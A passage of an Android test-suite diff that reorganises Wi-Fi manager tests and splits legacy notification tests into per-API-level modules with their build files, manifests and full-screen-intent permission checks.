- pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
- assertEquals(notExist, pos);
- final int size = wifiConfiguredNetworks.size();
-
- wifiConfiguration = new WifiConfiguration();
- wifiConfiguration.SSID = SSID1;
- wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
- int netId = mWifiManager.addNetwork(wifiConfiguration);
- assertTrue(existSSID(SSID1));
-
- wifiConfiguredNetworks = mWifiManager.getConfiguredNetworks();
- assertEquals(size + 1, wifiConfiguredNetworks.size());
- pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
- assertTrue(notExist != pos);
-
- // Enable & disable network
- boolean disableOthers = true;
- assertTrue(mWifiManager.enableNetwork(netId, disableOthers));
- wifiConfiguration = mWifiManager.getConfiguredNetworks().get(pos);
- assertEquals(Status.ENABLED, wifiConfiguration.status);
-
- assertTrue(mWifiManager.disableNetwork(netId));
- wifiConfiguration = mWifiManager.getConfiguredNetworks().get(pos);
- assertEquals(Status.DISABLED, wifiConfiguration.status);
-
- // Update a WifiConfig
- wifiConfiguration = wifiConfiguredNetworks.get(pos);
- wifiConfiguration.SSID = SSID2;
- netId = mWifiManager.updateNetwork(wifiConfiguration);
- assertFalse(existSSID(SSID1));
- assertTrue(existSSID(SSID2));
-
- // Remove a WifiConfig
- assertTrue(mWifiManager.removeNetwork(netId));
- assertFalse(mWifiManager.removeNetwork(notExist));
- assertFalse(existSSID(SSID1));
- assertFalse(existSSID(SSID2));
-
- assertTrue(mWifiManager.saveConfiguration());
- } finally {
- reEnableNetworks(enabledSsids, mWifiManager.getConfiguredNetworks());
- mWifiManager.saveConfiguration();
- }
- }
-
- /**
- * Verifies that addNetwork() fails for WifiConfigurations containing a non-null http proxy when
- * the caller doesn't have OVERRIDE_WIFI_CONFIG permission, DeviceOwner or ProfileOwner device
- * management policies
- */
- public void testSetHttpProxy_PermissionFail() throws Exception {
- if (!WifiFeature.isWifiSupported(getContext())) {
- // skip the test if WiFi is not supported
- return;
- }
- WifiConfigCreator configCreator = new WifiConfigCreator(getContext());
- boolean exceptionThrown = false;
- try {
- configCreator.addHttpProxyNetworkVerifyAndRemove(
- PROXY_TEST_SSID, TEST_PAC_URL);
- } catch (IllegalStateException e) {
- // addHttpProxyNetworkVerifyAndRemove throws three IllegalStateException,
- // expect it to throw for the addNetwork operation
- if (e.getMessage().contains(ADD_NETWORK_EXCEPTION_SUBSTR)) {
- exceptionThrown = true;
- }
- }
- assertTrue(exceptionThrown);
- }
-
- private Set<String> getEnabledNetworks(List<WifiConfiguration> configuredNetworks) {
- Set<String> ssids = new HashSet<String>();
- for (WifiConfiguration wifiConfig : configuredNetworks) {
- if (Status.ENABLED == wifiConfig.status || Status.CURRENT == wifiConfig.status) {
- ssids.add(wifiConfig.SSID);
- Log.i(TAG, String.format("remembering enabled network %s", wifiConfig.SSID));
- }
- }
- return ssids;
- }
-
- private void reEnableNetworks(Set<String> enabledSsids,
- List<WifiConfiguration> configuredNetworks) {
- for (WifiConfiguration wifiConfig : configuredNetworks) {
- if (enabledSsids.contains(wifiConfig.SSID)) {
- mWifiManager.enableNetwork(wifiConfig.networkId, false);
- Log.i(TAG, String.format("re-enabling network %s", wifiConfig.SSID));
- }
- }
- }
-
public void testSignal() {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -904,37 +777,37 @@
}
/**
- * Verify calls to setWifiEnabled from a non-settings app while softap mode is active do not
- * exit softap mode.
- *
- * This test uses the LocalOnlyHotspot API to enter softap mode. This should also be true when
- * tethering is started.
- * Note: Location mode must be enabled for this test.
+ * Verify calls to deprecated API's all fail for non-settings apps targeting >= Q SDK.
*/
- public void testSetWifiEnabledByAppDoesNotStopHotspot() throws Exception {
+ public void testDeprecatedApis() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
}
- // check that softap mode is supported by the device
- if (!mWifiManager.isPortableHotspotSupported()) {
- return;
- }
+ setWifiEnabled(true);
+ connectWifi(); // ensures that there is at-least 1 saved network on the device.
+
+ WifiConfiguration wifiConfiguration = new WifiConfiguration();
+ wifiConfiguration.SSID = SSID1;
+ wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+
+ assertEquals(WifiConfiguration.INVALID_NETWORK_ID,
+ mWifiManager.addNetwork(wifiConfiguration));
+ assertEquals(WifiConfiguration.INVALID_NETWORK_ID,
+ mWifiManager.updateNetwork(wifiConfiguration));
+ assertFalse(mWifiManager.enableNetwork(0, true));
+ assertFalse(mWifiManager.disableNetwork(0));
+ assertFalse(mWifiManager.removeNetwork(0));
+ assertFalse(mWifiManager.disconnect());
+ assertFalse(mWifiManager.reconnect());
+ assertFalse(mWifiManager.reassociate());
+ assertTrue(mWifiManager.getConfiguredNetworks().isEmpty());
boolean wifiEnabled = mWifiManager.isWifiEnabled();
-
- if (wifiEnabled) {
- // disable wifi so we have something to turn on (some devices may be able to run
- // simultaneous modes)
- setWifiEnabled(false);
- }
-
- TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-
- // now we should fail to turn on wifi
- assertFalse(mWifiManager.setWifiEnabled(true));
-
- stopLocalOnlyHotspot(callback, wifiEnabled);
+ // now we should fail to toggle wifi state.
+ assertFalse(mWifiManager.setWifiEnabled(!wifiEnabled));
+ Thread.sleep(DURATION);
+ assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
}
/**
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index b24deb2..d8b2be2 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -27,7 +27,8 @@
TestUnknownDimensions.cpp \
TestValidateOperations.cpp \
TestValidation.cpp \
- TestWrapper.cpp
+ TestWrapper.cpp \
+ TestNeuralNetworksWrapper.cpp
LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
index 07b2f80..9af9f44 100644
--- a/tests/tests/notificationlegacy/Android.mk
+++ b/tests/tests/notificationlegacy/Android.mk
@@ -12,33 +12,4 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test \
- junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MIN_SDK_VERSION := 24
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.mk b/tests/tests/notificationlegacy/notificationlegacy27/Android.mk
new file mode 100644
index 0000000..d2b1425
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification27TestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ android-support-test \
+ junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 27
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
similarity index 94%
rename from tests/tests/notificationlegacy/AndroidManifest.xml
rename to tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
index 611cbfb..3be24c5 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy27/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.app.notification.legacy.cts">
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
- <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
<application>
<uses-library android:name="android.test.runner" />
@@ -62,7 +62,7 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.notification.legacy.cts"
- android:label="CTS tests for legacy notification behavior">
+ android:label="CTS tests for notification behavior (API 27)">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml
new file mode 100644
index 0000000..15402f2
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 27 test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLegacyNotification27TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.app.notification.legacy.cts" />
+ <option name="runtime-hint" value="5m" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/res/drawable/icon_black.jpg b/tests/tests/notificationlegacy/notificationlegacy27/res/drawable/icon_black.jpg
similarity index 100%
rename from tests/tests/notificationlegacy/res/drawable/icon_black.jpg
rename to tests/tests/notificationlegacy/notificationlegacy27/res/drawable/icon_black.jpg
Binary files differ
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
similarity index 100%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
rename to tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/Android.mk b/tests/tests/notificationlegacy/notificationlegacy28/Android.mk
new file mode 100644
index 0000000..dff96fd
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification28TestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ android-support-test \
+ junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 28
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml
new file mode 100644
index 0000000..867d4ef
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.notification.legacy28.cts">
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.app.notification.legacy28.cts"
+ android:label="CTS tests for notification behavior (API 28)">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
new file mode 100644
index 0000000..6cced29
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 28 test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLegacyNotification28TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.app.notification.legacy28.cts" />
+ <option name="runtime-hint" value="5m" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
new file mode 100644
index 0000000..e77612a
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy28.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Home for tests that need to verify behavior for apps that target old sdk versions.
+ */
+@RunWith(AndroidJUnit4.class)
+public class NotificationManager28Test {
+ final String TAG = "LegacyNoManTest28";
+
+ final String NOTIFICATION_CHANNEL_ID = "LegacyNoManTest28";
+ private NotificationManager mNotificationManager;
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+
+ mNotificationManager = (NotificationManager) mContext.getSystemService(
+ Context.NOTIFICATION_SERVICE);
+ mNotificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+ }
+
+ @Test
+ public void testPostFullScreenIntent_noPermission() {
+ // No Full screen intent permission; but full screen intent should still be allowed
+ int id = 6000;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.id.icon)
+ .setWhen(System.currentTimeMillis())
+ .setFullScreenIntent(getPendingIntent(), true)
+ .setContentText("This is #FSI notification")
+ .setContentIntent(getPendingIntent())
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ StatusBarNotification n = findPostedNotification(id);
+ assertNotNull(n);
+ assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
+ }
+
+ private StatusBarNotification findPostedNotification(int id) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 300ms before giving up
+ StatusBarNotification n = null;
+ for (int tries = 3; tries--> 0;) {
+ final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ Log.d(TAG, "Found " + sbn.getKey());
+ if (sbn.getId() == id) {
+ n = sbn;
+ break;
+ }
+ }
+ if (n != null) break;
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ return n;
+ }
+
+ private PendingIntent getPendingIntent() {
+ return PendingIntent.getActivity(
+ mContext, 0, new Intent(mContext, this.getClass()), 0);
+ }
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.mk b/tests/tests/notificationlegacy/notificationlegacy29/Android.mk
new file mode 100644
index 0000000..4caf2c9
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification29TestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ android-support-test \
+ junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# TODO: replace with 29 once 29 finalized
+LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 29
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml
new file mode 100644
index 0000000..6b52e7a
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.notification.legacy29.cts">
+
+ <uses-sdk android:minSdkVersion="29" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.app.notification.legacy29.cts"
+ android:label="CTS tests for notification behavior (API 29)">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
new file mode 100644
index 0000000..a3d8bb8
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 29 test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLegacyNotification29TestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.app.notification.legacy29.cts" />
+ <option name="runtime-hint" value="5m" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
new file mode 100644
index 0000000..6629e17
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy29.cts;
+
+import static junit.framework.TestCase.assertNotNull;
+import static junit.framework.TestCase.assertNull;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Home for tests that need to verify behavior for apps that target old sdk versions.
+ */
+@RunWith(AndroidJUnit4.class)
+public class NotificationManager29Test {
+ final String TAG = "LegacyNoManTest29";
+
+ final String NOTIFICATION_CHANNEL_ID = "LegacyNoManTest29";
+ private NotificationManager mNotificationManager;
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+
+ mNotificationManager = (NotificationManager) mContext.getSystemService(
+ Context.NOTIFICATION_SERVICE);
+ mNotificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+ }
+
+ @Test
+ public void testPostFullScreenIntent_noPermission() {
+ // no permission? no full screen intent
+ int id = 6000;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.id.icon)
+ .setWhen(System.currentTimeMillis())
+ .setFullScreenIntent(getPendingIntent(), true)
+ .setContentText("This is #FSI notification")
+ .setContentIntent(getPendingIntent())
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ StatusBarNotification n = findPostedNotification(id);
+ assertNotNull(n);
